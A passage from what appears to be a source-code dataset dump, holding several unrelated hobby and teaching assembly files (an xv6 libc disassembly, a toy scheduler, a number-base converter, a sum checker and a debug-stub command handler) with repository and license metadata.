4b7: 0f b6 00 movzbl (%eax),%eax
4ba: 0f be c0 movsbl %al,%eax
4bd: 83 ec 08 sub $0x8,%esp
4c0: 50 push %eax
4c1: ff 75 08 pushl 0x8(%ebp)
4c4: e8 3d ff ff ff call 406 <putc>
4c9: 83 c4 10 add $0x10,%esp
while(--i >= 0)
4cc: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4d0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4d4: 79 d9 jns 4af <printint+0x86>
}
4d6: 90 nop
4d7: c9 leave
4d8: c3 ret
000004d9 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4d9: 55 push %ebp
4da: 89 e5 mov %esp,%ebp
4dc: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4df: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4e6: 8d 45 0c lea 0xc(%ebp),%eax
4e9: 83 c0 04 add $0x4,%eax
4ec: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4ef: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4f6: e9 59 01 00 00 jmp 654 <printf+0x17b>
c = fmt[i] & 0xff;
4fb: 8b 55 0c mov 0xc(%ebp),%edx
4fe: 8b 45 f0 mov -0x10(%ebp),%eax
501: 01 d0 add %edx,%eax
503: 0f b6 00 movzbl (%eax),%eax
506: 0f be c0 movsbl %al,%eax
509: 25 ff 00 00 00 and $0xff,%eax
50e: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
511: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
515: 75 2c jne 543 <printf+0x6a>
if(c == '%'){
517: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
51b: 75 0c jne 529 <printf+0x50>
state = '%';
51d: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
524: e9 27 01 00 00 jmp 650 <printf+0x177>
} else {
putc(fd, c);
529: 8b 45 e4 mov -0x1c(%ebp),%eax
52c: 0f be c0 movsbl %al,%eax
52f: 83 ec 08 sub $0x8,%esp
532: 50 push %eax
533: ff 75 08 pushl 0x8(%ebp)
536: e8 cb fe ff ff call 406 <putc>
53b: 83 c4 10 add $0x10,%esp
53e: e9 0d 01 00 00 jmp 650 <printf+0x177>
}
} else if(state == '%'){
543: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
547: 0f 85 03 01 00 00 jne 650 <printf+0x177>
if(c == 'd'){
54d: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
551: 75 1e jne 571 <printf+0x98>
printint(fd, *ap, 10, 1);
553: 8b 45 e8 mov -0x18(%ebp),%eax
556: 8b 00 mov (%eax),%eax
558: 6a 01 push $0x1
55a: 6a 0a push $0xa
55c: 50 push %eax
55d: ff 75 08 pushl 0x8(%ebp)
560: e8 c4 fe ff ff call 429 <printint>
565: 83 c4 10 add $0x10,%esp
ap++;
568: 83 45 e8 04 addl $0x4,-0x18(%ebp)
56c: e9 d8 00 00 00 jmp 649 <printf+0x170>
} else if(c == 'x' || c == 'p'){
571: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
575: 74 06 je 57d <printf+0xa4>
577: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
57b: 75 1e jne 59b <printf+0xc2>
printint(fd, *ap, 16, 0);
57d: 8b 45 e8 mov -0x18(%ebp),%eax
580: 8b 00 mov (%eax),%eax
582: 6a 00 push $0x0
584: 6a 10 push $0x10
586: 50 push %eax
587: ff 75 08 pushl 0x8(%ebp)
58a: e8 9a fe ff ff call 429 <printint>
58f: 83 c4 10 add $0x10,%esp
ap++;
592: 83 45 e8 04 addl $0x4,-0x18(%ebp)
596: e9 ae 00 00 00 jmp 649 <printf+0x170>
} else if(c == 's'){
59b: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
59f: 75 43 jne 5e4 <printf+0x10b>
s = (char*)*ap;
5a1: 8b 45 e8 mov -0x18(%ebp),%eax
5a4: 8b 00 mov (%eax),%eax
5a6: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
5a9: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
5ad: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5b1: 75 25 jne 5d8 <printf+0xff>
s = "(null)";
5b3: c7 45 f4 b5 08 00 00 movl $0x8b5,-0xc(%ebp)
while(*s != 0){
5ba: eb 1c jmp 5d8 <printf+0xff>
putc(fd, *s);
5bc: 8b 45 f4 mov -0xc(%ebp),%eax
5bf: 0f b6 00 movzbl (%eax),%eax
5c2: 0f be c0 movsbl %al,%eax
5c5: 83 ec 08 sub $0x8,%esp
5c8: 50 push %eax
5c9: ff 75 08 pushl 0x8(%ebp)
5cc: e8 35 fe ff ff call 406 <putc>
5d1: 83 c4 10 add $0x10,%esp
s++;
5d4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
while(*s != 0){
5d8: 8b 45 f4 mov -0xc(%ebp),%eax
5db: 0f b6 00 movzbl (%eax),%eax
5de: 84 c0 test %al,%al
5e0: 75 da jne 5bc <printf+0xe3>
5e2: eb 65 jmp 649 <printf+0x170>
}
} else if(c == 'c'){
5e4: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5e8: 75 1d jne 607 <printf+0x12e>
putc(fd, *ap);
5ea: 8b 45 e8 mov -0x18(%ebp),%eax
5ed: 8b 00 mov (%eax),%eax
5ef: 0f be c0 movsbl %al,%eax
5f2: 83 ec 08 sub $0x8,%esp
5f5: 50 push %eax
5f6: ff 75 08 pushl 0x8(%ebp)
5f9: e8 08 fe ff ff call 406 <putc>
5fe: 83 c4 10 add $0x10,%esp
ap++;
601: 83 45 e8 04 addl $0x4,-0x18(%ebp)
605: eb 42 jmp 649 <printf+0x170>
} else if(c == '%'){
607: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
60b: 75 17 jne 624 <printf+0x14b>
putc(fd, c);
60d: 8b 45 e4 mov -0x1c(%ebp),%eax
610: 0f be c0 movsbl %al,%eax
613: 83 ec 08 sub $0x8,%esp
616: 50 push %eax
617: ff 75 08 pushl 0x8(%ebp)
61a: e8 e7 fd ff ff call 406 <putc>
61f: 83 c4 10 add $0x10,%esp
622: eb 25 jmp 649 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
624: 83 ec 08 sub $0x8,%esp
627: 6a 25 push $0x25
629: ff 75 08 pushl 0x8(%ebp)
62c: e8 d5 fd ff ff call 406 <putc>
631: 83 c4 10 add $0x10,%esp
putc(fd, c);
634: 8b 45 e4 mov -0x1c(%ebp),%eax
637: 0f be c0 movsbl %al,%eax
63a: 83 ec 08 sub $0x8,%esp
63d: 50 push %eax
63e: ff 75 08 pushl 0x8(%ebp)
641: e8 c0 fd ff ff call 406 <putc>
646: 83 c4 10 add $0x10,%esp
}
state = 0;
649: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
for(i = 0; fmt[i]; i++){
650: 83 45 f0 01 addl $0x1,-0x10(%ebp)
654: 8b 55 0c mov 0xc(%ebp),%edx
657: 8b 45 f0 mov -0x10(%ebp),%eax
65a: 01 d0 add %edx,%eax
65c: 0f b6 00 movzbl (%eax),%eax
65f: 84 c0 test %al,%al
661: 0f 85 94 fe ff ff jne 4fb <printf+0x22>
}
}
}
667: 90 nop
668: c9 leave
669: c3 ret
0000066a <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
66a: 55 push %ebp
66b: 89 e5 mov %esp,%ebp
66d: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
670: 8b 45 08 mov 0x8(%ebp),%eax
673: 83 e8 08 sub $0x8,%eax
676: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
679: a1 48 0b 00 00 mov 0xb48,%eax
67e: 89 45 fc mov %eax,-0x4(%ebp)
681: eb 24 jmp 6a7 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
683: 8b 45 fc mov -0x4(%ebp),%eax
686: 8b 00 mov (%eax),%eax
688: 39 45 fc cmp %eax,-0x4(%ebp)
68b: 72 12 jb 69f <free+0x35>
68d: 8b 45 f8 mov -0x8(%ebp),%eax
690: 3b 45 fc cmp -0x4(%ebp),%eax
693: 77 24 ja 6b9 <free+0x4f>
695: 8b 45 fc mov -0x4(%ebp),%eax
698: 8b 00 mov (%eax),%eax
69a: 39 45 f8 cmp %eax,-0x8(%ebp)
69d: 72 1a jb 6b9 <free+0x4f>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69f: 8b 45 fc mov -0x4(%ebp),%eax
6a2: 8b 00 mov (%eax),%eax
6a4: 89 45 fc mov %eax,-0x4(%ebp)
6a7: 8b 45 f8 mov -0x8(%ebp),%eax
6aa: 3b 45 fc cmp -0x4(%ebp),%eax
6ad: 76 d4 jbe 683 <free+0x19>
6af: 8b 45 fc mov -0x4(%ebp),%eax
6b2: 8b 00 mov (%eax),%eax
6b4: 39 45 f8 cmp %eax,-0x8(%ebp)
6b7: 73 ca jae 683 <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
6b9: 8b 45 f8 mov -0x8(%ebp),%eax
6bc: 8b 40 04 mov 0x4(%eax),%eax
6bf: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6c6: 8b 45 f8 mov -0x8(%ebp),%eax
6c9: 01 c2 add %eax,%edx
6cb: 8b 45 fc mov -0x4(%ebp),%eax
6ce: 8b 00 mov (%eax),%eax
6d0: 39 c2 cmp %eax,%edx
6d2: 75 24 jne 6f8 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6d4: 8b 45 f8 mov -0x8(%ebp),%eax
6d7: 8b 50 04 mov 0x4(%eax),%edx
6da: 8b 45 fc mov -0x4(%ebp),%eax
6dd: 8b 00 mov (%eax),%eax
6df: 8b 40 04 mov 0x4(%eax),%eax
6e2: 01 c2 add %eax,%edx
6e4: 8b 45 f8 mov -0x8(%ebp),%eax
6e7: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6ea: 8b 45 fc mov -0x4(%ebp),%eax
6ed: 8b 00 mov (%eax),%eax
6ef: 8b 10 mov (%eax),%edx
6f1: 8b 45 f8 mov -0x8(%ebp),%eax
6f4: 89 10 mov %edx,(%eax)
6f6: eb 0a jmp 702 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6f8: 8b 45 fc mov -0x4(%ebp),%eax
6fb: 8b 10 mov (%eax),%edx
6fd: 8b 45 f8 mov -0x8(%ebp),%eax
700: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
702: 8b 45 fc mov -0x4(%ebp),%eax
705: 8b 40 04 mov 0x4(%eax),%eax
708: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
70f: 8b 45 fc mov -0x4(%ebp),%eax
712: 01 d0 add %edx,%eax
714: 39 45 f8 cmp %eax,-0x8(%ebp)
717: 75 20 jne 739 <free+0xcf>
p->s.size += bp->s.size;
719: 8b 45 fc mov -0x4(%ebp),%eax
71c: 8b 50 04 mov 0x4(%eax),%edx
71f: 8b 45 f8 mov -0x8(%ebp),%eax
722: 8b 40 04 mov 0x4(%eax),%eax
725: 01 c2 add %eax,%edx
727: 8b 45 fc mov -0x4(%ebp),%eax
72a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
72d: 8b 45 f8 mov -0x8(%ebp),%eax
730: 8b 10 mov (%eax),%edx
732: 8b 45 fc mov -0x4(%ebp),%eax
735: 89 10 mov %edx,(%eax)
737: eb 08 jmp 741 <free+0xd7>
} else
p->s.ptr = bp;
739: 8b 45 fc mov -0x4(%ebp),%eax
73c: 8b 55 f8 mov -0x8(%ebp),%edx
73f: 89 10 mov %edx,(%eax)
freep = p;
741: 8b 45 fc mov -0x4(%ebp),%eax
744: a3 48 0b 00 00 mov %eax,0xb48
}
749: 90 nop
74a: c9 leave
74b: c3 ret
0000074c <morecore>:
static Header*
morecore(uint nu)
{
74c: 55 push %ebp
74d: 89 e5 mov %esp,%ebp
74f: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
752: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
759: 77 07 ja 762 <morecore+0x16>
nu = 4096;
75b: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
762: 8b 45 08 mov 0x8(%ebp),%eax
765: c1 e0 03 shl $0x3,%eax
768: 83 ec 0c sub $0xc,%esp
76b: 50 push %eax
76c: e8 7d fc ff ff call 3ee <sbrk>
771: 83 c4 10 add $0x10,%esp
774: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
777: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
77b: 75 07 jne 784 <morecore+0x38>
return 0;
77d: b8 00 00 00 00 mov $0x0,%eax
782: eb 26 jmp 7aa <morecore+0x5e>
hp = (Header*)p;
784: 8b 45 f4 mov -0xc(%ebp),%eax
787: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
78a: 8b 45 f0 mov -0x10(%ebp),%eax
78d: 8b 55 08 mov 0x8(%ebp),%edx
790: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
793: 8b 45 f0 mov -0x10(%ebp),%eax
796: 83 c0 08 add $0x8,%eax
799: 83 ec 0c sub $0xc,%esp
79c: 50 push %eax
79d: e8 c8 fe ff ff call 66a <free>
7a2: 83 c4 10 add $0x10,%esp
return freep;
7a5: a1 48 0b 00 00 mov 0xb48,%eax
}
7aa: c9 leave
7ab: c3 ret
000007ac <malloc>:
void*
malloc(uint nbytes)
{
7ac: 55 push %ebp
7ad: 89 e5 mov %esp,%ebp
7af: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7b2: 8b 45 08 mov 0x8(%ebp),%eax
7b5: 83 c0 07 add $0x7,%eax
7b8: c1 e8 03 shr $0x3,%eax
7bb: 83 c0 01 add $0x1,%eax
7be: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
7c1: a1 48 0b 00 00 mov 0xb48,%eax
7c6: 89 45 f0 mov %eax,-0x10(%ebp)
7c9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7cd: 75 23 jne 7f2 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7cf: c7 45 f0 40 0b 00 00 movl $0xb40,-0x10(%ebp)
7d6: 8b 45 f0 mov -0x10(%ebp),%eax
7d9: a3 48 0b 00 00 mov %eax,0xb48
7de: a1 48 0b 00 00 mov 0xb48,%eax
7e3: a3 40 0b 00 00 mov %eax,0xb40
base.s.size = 0;
7e8: c7 05 44 0b 00 00 00 movl $0x0,0xb44
7ef: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7f2: 8b 45 f0 mov -0x10(%ebp),%eax
7f5: 8b 00 mov (%eax),%eax
7f7: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7fa: 8b 45 f4 mov -0xc(%ebp),%eax
7fd: 8b 40 04 mov 0x4(%eax),%eax
800: 39 45 ec cmp %eax,-0x14(%ebp)
803: 77 4d ja 852 <malloc+0xa6>
if(p->s.size == nunits)
805: 8b 45 f4 mov -0xc(%ebp),%eax
808: 8b 40 04 mov 0x4(%eax),%eax
80b: 39 45 ec cmp %eax,-0x14(%ebp)
80e: 75 0c jne 81c <malloc+0x70>
prevp->s.ptr = p->s.ptr;
810: 8b 45 f4 mov -0xc(%ebp),%eax
813: 8b 10 mov (%eax),%edx
815: 8b 45 f0 mov -0x10(%ebp),%eax
818: 89 10 mov %edx,(%eax)
81a: eb 26 jmp 842 <malloc+0x96>
else {
p->s.size -= nunits;
81c: 8b 45 f4 mov -0xc(%ebp),%eax
81f: 8b 40 04 mov 0x4(%eax),%eax
822: 2b 45 ec sub -0x14(%ebp),%eax
825: 89 c2 mov %eax,%edx
827: 8b 45 f4 mov -0xc(%ebp),%eax
82a: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
82d: 8b 45 f4 mov -0xc(%ebp),%eax
830: 8b 40 04 mov 0x4(%eax),%eax
833: c1 e0 03 shl $0x3,%eax
836: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
839: 8b 45 f4 mov -0xc(%ebp),%eax
83c: 8b 55 ec mov -0x14(%ebp),%edx
83f: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
842: 8b 45 f0 mov -0x10(%ebp),%eax
845: a3 48 0b 00 00 mov %eax,0xb48
return (void*)(p + 1);
84a: 8b 45 f4 mov -0xc(%ebp),%eax
84d: 83 c0 08 add $0x8,%eax
850: eb 3b jmp 88d <malloc+0xe1>
}
if(p == freep)
852: a1 48 0b 00 00 mov 0xb48,%eax
857: 39 45 f4 cmp %eax,-0xc(%ebp)
85a: 75 1e jne 87a <malloc+0xce>
if((p = morecore(nunits)) == 0)
85c: 83 ec 0c sub $0xc,%esp
85f: ff 75 ec pushl -0x14(%ebp)
862: e8 e5 fe ff ff call 74c <morecore>
867: 83 c4 10 add $0x10,%esp
86a: 89 45 f4 mov %eax,-0xc(%ebp)
86d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
871: 75 07 jne 87a <malloc+0xce>
return 0;
873: b8 00 00 00 00 mov $0x0,%eax
878: eb 13 jmp 88d <malloc+0xe1>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
87a: 8b 45 f4 mov -0xc(%ebp),%eax
87d: 89 45 f0 mov %eax,-0x10(%ebp)
880: 8b 45 f4 mov -0xc(%ebp),%eax
883: 8b 00 mov (%eax),%eax
885: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
888: e9 6d ff ff ff jmp 7fa <malloc+0x4e>
}
}
88d: c9 leave
88e: c3 ret
| 35.822926 | 60 | 0.418368 |
[
"Apache-2.0"
] |
douglasbreyer/StrideXV6
|
cat.asm
| 41,879 |
Assembly
|
target: equ 0x08
backup: equ 0xff
stack: equ 0x8000
setup_sched:
push 0x0000
pop es
cli
es mov ax, word [target * 4]
es mov word [backup * 4], ax
es mov ax, word [target * 4 + 2]
es mov word [backup * 4 + 2], ax
es mov word [target * 4], irq
es mov word [target * 4 + 2], 0x1000
mov al, 0b00110100
out 0x43, al
mov ax, 0x1000
out 0x40, al
mov al, ah
out 0x40, al
push cs
pop es
push 0x3000
pop ds
mov byte [63], 1
push cs
pop ds
sti
ret
irq: cli
int backup
jmp irq_save
.s1: call sched
jmp irq_load
irq_save:
; structure:
; ss es ds regs ip cs flags
; = 14 bytes \ save
pusha
push ds
push es
push ss
.pushdone:
cs mov word [save_sp], sp
cs mov word [save_ss], ss
push 0x2000
pop ss
mov sp, stack
push cs
pop ds
mov ax, [save_ss]
push ax
pop es
mov si, word [save_sp]
mov di, word [pid]
shl di, 6
push 0x3000
pop ds
push di
mov cx, 32
.loop: lodsb
ds stosb
loop .loop
pop di
cs mov ax, word [save_sp]
mov word [di+32], ax
cs mov ax, word [save_ss]
mov word [di+34], ax
push cs
pop ds
push cs
pop es
jmp irq.s1
irq_load:
mov si, word [pid]
shl si, 6
push 0x3000
pop ds
mov ax, word [si+32]
cs mov word [save_sp], ax
mov ax, word [si+34]
cs mov word [save_ss], ax
mov di, word [save_sp]
mov ax, word [save_ss]
push ax
pop es
mov cx, 32
.loop: ds lodsb
stosb
loop .loop
push cs
pop ds
mov sp, word [save_sp]
mov ss, word [save_ss]
pop ss
pop es
pop ds
popa
sti
iret
; do your fancy stuff here
sched:
push 0x3000
pop ds
cs mov si, word [pid]
inc si
shl si, 6
.loop: mov al, byte [si+63]
cmp al, 0
je .notfound
jmp .found
.notfound:
add si, 64
jmp .loop
.found: shr si, 6
mov word [pid], si
ret
save_sp:
dw 0
save_ss:
dw 0
pid:
dw 0
| 13.286667 | 45 | 0.565981 |
[
"MIT"
] |
jakiki6/simpleOS
|
sched.asm
| 1,993 |
Assembly
|
;English
;Read a decimal number and convert it in binary, octal and hexadecimal
;French
;Lisez un nombre décimal et vous devez le convertir en binaire, octal et hexadécimal.
;Similar to bin_converter (find explanation there)
ORG 100H
include "emu8086.inc"
.data
:
l DB "00",0
s1 DB "0000",0
s2 DB "00",0
s_binary DB "00000000",0
s_octal DB "GGGGGGGG",0
msg0 DB 0dh, 0ah, "Insert decimal number length: ",0
msg1 DB 0dh, 0ah, "Insert decimal number (between 0 - 255 ) : ",0
msg2 DB 0dh, 0ah, "1=b, 2=o, 3=h : ",0
msgbin DB 0dh, 0ah, "Binary= ",0
msgoct DB 0dh, 0ah, "Octal= ",0
msghex DB 0dh, 0ah, "Hexal= ",0
msgtest DB 0dh, 0ah, "Testing... ",0
msgstop DB 0dh, 0ah, "Stopping... ",0
.code
LEA SI, msg0
CALL print_string
MOV DX, 2
LEA DI, l
call get_string
LEA SI, msg1
CALL print_string
CALL scan_num
LEA SI, msg2
CALL print_string
MOV DX, 2
LEA DI, s2
CALL get_string
MOV DI, OFFSET s2
MOV AX, [DI]
SUB AX, 30H
CMP AX, 2
JL binary
JE octal
JG hexa
binary:
MOV AX, CX
MOV BX, 1
SHL BX, 8
MOV SI, OFFSET s_binary
continue_binary:
CMP BX, 255
JG pass
INC SI
pass:
CMP AX, BX
JL smaller
JE equal
JG greater
exit_first_binary:
INC SI
MOV [SI], 0
CMP DH, 1
JE continue_octal
JG continue_hexa_prime
LEA SI, msgbin
CALL print_string
MOV SI, OFFSET s_binary
CALL print_string
JMP stop
smaller:
SHR BX, 1
CMP BX, 0
JE exit_first_binary
JMP continue_binary
equal:
MOV [SI], 31H
JMP exit_first_binary
greater:
MOV [SI], 31H
SUB AX, BX
SHR BX, 1
CMP BX, 0
JE exit_first_binary
JMP continue_binary
octal:
MOV DH, 1
JMP binary
continue_octal:
MOV AX, 0
MOV SI, OFFSET s_binary
MOV CX, 8
out_0:
CMP [SI], 30H
JE zero_freeze
JG stop_freeze
continue_out_0:
LOOP out_0
stop_freeze:
incr_octal:
INC SI
LOOP incr_octal
MOV BL, 1
MOV AX, 0
MOV CX, 8
parser_octal:
JCXZ stop_octal
CMP [SI], 31h
JL ok0_octal
JE ok1_octal
zero_freeze:
INC SI
JMP continue_out_0
ok0_octal:
SHL BL, 1
DEC SI
DEC CX
CMP BL, 8
JGE redo
JMP parser_octal
ok1_octal:
ADD AL, BL
SHL BL, 1
DEC SI
DEC CX
CMP BL, 8
JGE redo
JMP parser_octal
redo:
MOV BL,1
MOV DI, SI
MOV SI, OFFSET s_octal
looper:
CMP [SI], 47h
JE replace
JL cont_redo
continue:
MOV SI, DI
MOV AX, 0
JMP parser_octal
replace:
ADD AX, 30h
MOV [SI], AX
JMP continue
cont_redo:
INC SI
JMP looper
stop_octal:
LEA SI, msgoct
call print_string
MOV CX, 9
MOV SI, OFFSET s_octal
switcher:
CMP [SI], 47H
JNE go_go
JE stop_stop
cont:
LOOP switcher
MOV CX, 8
printer:
JCXZ continue_gtp
CMP [SI], 47h
JMP gtp
continue_gtp:
LEA SI, msgstop
call print_string
PUTC 10
PUTC 13
MOV AH, 0
INT 16h
RET
gtp:
CMP AX, 0
JG clean_up
CALL print_string
DEC SI
DEC CX
JMP printer
go_go:
INC SI
JMP cont
stop_stop:
DEC SI
JMP printer
clean_up:
CALL print_num
MOV AX, 0
JMP gtp
hexa:
MOV DH, 2
JMP binary
continue_hexa_prime:
MOV AX, 0
MOV SI, OFFSET s_binary
MOV CX, 8
out_0_hexa:
CMP [SI], 30H
JE zero_freeze_hexa
JG stop_freeze_hexa
continue_out_0_hexa:
LOOP out_0_hexa
stop_freeze_hexa:
incr_hexa:
INC SI
LOOP incr_hexa
MOV BL, 1
MOV AX, 0
MOV CX, 8
parser_hexa:
JCXZ stop_hexa
CMP [SI], 31h
JL ok0_hexa
JE ok1_hexa
zero_freeze_hexa:
INC SI
JMP continue_out_0_hexa
ok0_hexa:
SHL BL, 1
DEC SI
DEC CX
CMP BL, 16
JGE redo_hexa
JMP parser_hexa
ok1_hexa:
ADD AL, BL
SHL BL, 1
DEC SI
DEC CX
CMP BL, 16
JGE redo_hexa
JMP parser_hexa
redo_hexa:
MOV BL,1
MOV DI, SI
MOV SI, OFFSET s_octal
looper_hexa:
CMP [SI], 47h
JE replace_hexa
JL cont_redo_hexa
continue_hexa:
MOV BL, 1
MOV SI, DI
MOV AX, 0
JMP parser_hexa
replace_hexa:
CMP AX, 9
JG greater_hexa
JLE rh_continue ;check if number > 10
rh_continue:
ADD AX, 30h
MOV [SI], AX
JMP continue_hexa
greater_hexa:
MOV BX, AX
MOV AX, 0
MOV CX, 0
search_hex:
INC CX
DEC BX
CMP BX, 9
JG search_hex
JLE done_search_hex
done_search_hex:
;for CX, 1 -> A, 2 -> B, 3->C, 4-> D, 5-> E, 6-> F
CMP CX, 1
JE A_found
JG B_check
A_found:
MOV AX, 'A'
MOV [SI], AX
JMP continue_hexa
B_check:
CMP CX, 2
JE B_found
JG C_check
B_found:
MOV AX, 'B'
MOV [SI], AX
JMP continue_hexa
C_check:
CMP CX, 3
JE C_found
JG D_check
C_found:
MOV AX, 'C'
MOV [SI], AX
JMP continue_hexa
D_check:
CMP CX, 4
JE D_found
JG E_check
D_found:
MOV AX, 'D'
MOV [SI], AX
JMP continue_hexa
E_check:
CMP CX, 5
JE E_found
JG F_check
E_found:
MOV AX, 'E'
MOV [SI], AX
JMP continue_hexa
F_check:
CMP CX, 6
JE F_found
F_found:
MOV AX, 'F'
MOV [SI], AX
JMP continue_hexa
cont_redo_hexa:
INC SI
JMP looper_hexa
stop_hexa:
LEA SI, msghex
call print_string
MOV CX, 9
MOV SI, OFFSET s_octal
switcher_hexa:
CMP [SI], 47H
JNE go_go_hexa
JE stop_stop_hexa
cont_hexa:
LOOP switcher_hexa
MOV CX, 8
printer_hexa:
JCXZ continue_gtp_hexa
CMP [SI], 47H
JL gtp_hexa
continue_gtp_hexa:
LEA SI, msgstop
call print_string
PUTC 10
PUTC 13
MOV AH, 0
INT 16h
RET
gtp_hexa:
CALL print_string
DEC SI
DEC CX
JMP printer_hexa
go_go_hexa:
INC SI
JMP cont_hexa
stop_stop_hexa:
DEC SI
JMP printer_hexa
clean_up_hexa:
CALL print_num
MOV AX, 0
JMP gtp_hexa
stop:
LEA SI, msgstop
call print_string
MOV AH, 0
INT 16h
RET
DEFINE_GET_STRING
DEFINE_PRINT_STRING
DEFINE_PRINT_NUM
DEFINE_PRINT_NUM_UNS
DEFINE_SCAN_NUM
END
| 18.437923 | 86 | 0.459354 |
[
"MIT"
] |
gramai/school-related
|
x86-Win-NASM/src/Tables/dec_converter.asm
| 8,170 |
Assembly
|
section .data
textExpectedSum db "What sum do you expect? ", 0
textNumberOne db "Enter number one: ", 0
textNumberTwo db "Enter number two: ", 0
textValidSum db "Valid!", 10, 0
section .bss
numberExpectedSum resb 2
numberOne resb 2
numberTwo resb 2
section .text
STD_IN equ 0x2000003
STD_OUT equ 0x2000004
SYS_EXIT equ 0x2000001
global start
start:
mov rdi, textExpectedSum
call _printText
mov rdi, numberExpectedSum
call _readNumber
mov rdi, textNumberOne
call _printText
mov rdi, numberOne
call _readNumber
mov rdi, textNumberTwo
call _printText
mov rdi, numberTwo
call _readNumber
mov rdi, numberOne
call _toInteger
mov r12, rax
mov rdi, numberTwo
call _toInteger
mov r13, rax
mov rdi, numberExpectedSum
call _toInteger
mov r14, rax
add r12, r13
cmp r12, r14
jne start
mov rdi, textValidSum
call _printText
call _exit
_exit:
mov rax, SYS_EXIT
mov rdi, 0
syscall
ret
_printText:
push rdi
mov rbx, 0
_printLoop:
inc rdi
inc rbx
mov cl, [rdi]
cmp cl, 0
jne _printLoop
mov rax, STD_OUT
mov rdi, 1
pop rsi
mov rdx, rbx
syscall
ret
_readNumber:
mov rbx, rdi
mov rax, STD_IN
mov rdi, 0
mov rsi, rbx
mov rdx, 2
syscall
ret
_toInteger:
mov rbx, rdi
movzx rcx, byte [rbx]
sub rcx, '0'
mov rax, rcx
ret
| 13.945652 | 49 | 0.727202 |
[
"MIT"
] |
m4riusz/Assembly-Language-Learning
|
64/LoopUntil/LoopUntil.asm
| 1,283 |
Assembly
|
; namespace DebugStub
; Modifies: AL, DX (ComReadAL)
; Returns: AL
; function ProcessCommand {
DebugStub_ProcessCommand:
; ComReadAL()
Call DebugStub_ComReadAL
; Some callers expect AL to be returned, so we preserve it
; in case any commands modify AL.
; We push EAX to keep stack aligned.
; +EAX
Push EAX
; Noop has no data at all (see notes in client DebugConnector), so skip Command ID
; Noop also does not send ACK.
; if AL = #Vs2Ds_Noop return
; Read Command ID
; EAX = 0
Mov EAX, 0x0
; ComReadAL()
Call DebugStub_ComReadAL
; .CommandID = EAX
Mov DWORD [DebugStub_CommandID], EAX
; Get AL back so we can compare it, but also leave it for later
; EAX = [ESP]
Mov EAX, DWORD [ESP]
; if AL = #Vs2Ds_TraceOff {
; TraceOff()
Call DebugStub_TraceOff
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_TraceOn {
; TraceOn()
Call DebugStub_TraceOn
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_Break {
; Ack command for a break must be done first
; Otherwise we Break then ProcessCommands and get stuck because we don't send this Ack until execution continues
; AckCommand()
Call DebugStub_AckCommand
; Break()
Call DebugStub_Break
; return
Ret
; }
